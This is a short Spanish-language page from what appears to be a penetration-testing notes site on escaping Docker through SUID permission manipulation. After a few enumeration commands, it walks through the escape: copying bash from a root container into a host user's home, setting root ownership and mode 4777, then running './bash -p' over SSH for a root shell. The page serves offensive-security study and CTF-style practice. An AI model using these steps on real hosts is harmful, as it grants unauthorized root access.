> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/privesc/docker-escape/docker-suid-permission-manipulation-linux-privilege-escalation.md).

# Manipulación de permisos SUID de Docker - Escalada de privilegios en Linux

Notas de escape de Docker (manipulación de permisos SUID) para la escalada de privilegios en Linux, con pasos de enumeración, ejemplos de explotación y validación enfocada en informes.

## Qué es

Las vías de escape de Docker aprovechan una mala configuración del contenedor, recursos del host montados, credenciales predeterminadas, contraseñas reutilizadas o privilegios excesivos del contenedor. El objetivo es pasar del contexto del contenedor al acceso a nivel del host. Esta página específica se centra en **Escape de Docker (manipulación de permisos SUID)** y mantiene práctico el flujo de explotación: identifica la condición, valídala de forma segura y luego ejecuta la carga útil mínima necesaria para demostrar el impacto.

## Enumeración

Empieza confirmando el contexto local y la configuración errónea exacta antes de ejecutar la ruta de explotación.

```bash
id
cat /proc/1/cgroup
mount
ls -la /var/run/docker.sock 2>/dev/null
```

## Ejemplos

## Bash SUID desde Docker

Como en el contenedor Docker somos root, copiaremos el binario bash del host normal de la máquina al directorio personal de `augustus`:

```
cp /bin/bash .
```

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5fba166e3d9fc6be038931b26c6a4578106dafb4%2Fimage%20(1301).png?alt=media" alt="" width="556"><figcaption></figcaption></figure>

Desde la raíz de Docker, permitiremos el grupo root para este archivo bash y los permisos SUID para ejecutarlo como root:

```bash
chown root:root bash
chmod 4777 bash
```

Volvemos a SSH y vemos:

`-rwsrwxrwx 1 root root 1234376 Oct 28 11:35 bash`

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-802665bac0948d007a6c71c54da3317d9da00295%2Fimage%20(1302).png?alt=media" alt=""><figcaption></figcaption></figure>

`./bash -p`


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